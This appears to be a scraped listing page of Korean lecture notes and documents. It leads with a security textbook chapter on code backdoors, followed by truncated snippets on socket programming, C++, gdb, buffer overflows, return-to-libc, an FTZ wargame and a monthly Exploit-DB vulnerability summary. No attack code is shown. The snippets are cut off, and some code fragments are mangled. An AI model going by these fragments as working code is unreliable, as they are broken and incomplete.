IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

C++ Programming

C++ Programming C++ Programming 예외처리 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 예외처리 2 예외처리 예외처리 C++ 의예외처리 예외클래스와객체 3 예외처리 예외를처리하지않는프로그램 int main() int a, b; cout > a >> b; cout

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

36802 Tune Library / 중 NEX-Forms < admin-ajax.php 하 중 Ultimate Product Catalogue - / 하 중 Ultimate Product Catalogue - ad

36802 Tune Library / 중 NEX-Forms < admin-ajax.php 하 중 Ultimate Product Catalogue - / 하 중 Ultimate Product Catalogue - ad 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) EDB 분석보고서 (205.04) 205.04.0~205.04.30 Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 205 년 4 월에공개된 Exploit-DB 의분석결과, 공격에대한보고개수가가장많았습니다. 대부분의 공격이 CMS 에서발견되습니다. CMS 에서는

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

Contents 1. 목적 풀이 Level

Contents 1. 목적 풀이 Level FTZ 풀이보고서 Moomoo/badass4514@gmail.com 1 Contents 1. 목적 -------------------------------------------------------------- 3 2. 풀이 Level1 -----------------------------------------------------------------------

More information

프로그래밍개론및실습 2015 년 2 학기프로그래밍개론및실습과목으로본내용은강의교재인생능출판사, 두근두근 C 언어수업, 천인국지음을발췌수정하였음

프로그래밍개론및실습 2015 년 2 학기프로그래밍개론및실습과목으로본내용은강의교재인생능출판사, 두근두근 C 언어수업, 천인국지음을발췌수정하였음 프로그래밍개론및실습 2015 년 2 학기프로그래밍개론및실습과목으로본내용은강의교재인생능출판사, 두근두근 C 언어수업, 천인국지음을발췌수정하였음 CHAPTER 9 둘중하나선택하기 관계연산자 두개의피연산자를비교하는연산자 결과값은참 (1) 아니면거짓 (0) x == y x 와 y 의값이같은지비교한다. 관계연산자 연산자 의미 x == y x와 y가같은가? x!= y

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

중간고사

중간고사 중간고사 예제 1 사용자로부터받은두개의숫자 x, y 중에서큰수를찾는알고리즘을의사코드로작성하시오. Step 1: Input x, y Step 2: if (x > y) then MAX

More information

SBR-100S User Manual

SBR-100S User Manual ( 1 / 13 ) SBR-100S 모델에 대한 사용자 펌웨어 업그레이드 방법을 안내해 드립니다. SBR-100S 는 신규 펌웨어가 있을시 FOTA(자동업데이트) 기능을 통하여 자동 업그레이드가 되며, 필요시 사용자가 신규 펌웨어를 다운받아 수동으로 업그레이드 할 수 있습니다. 1. 준비하기 1.1 연결 장치 준비 펌웨어 업그레이드를 위해서는 SBR-100S

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

Mango-E-Toi Board Developer Manual

Mango-E-Toi Board Developer Manual Mango-E-Toi Board Developer Manual http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document

More information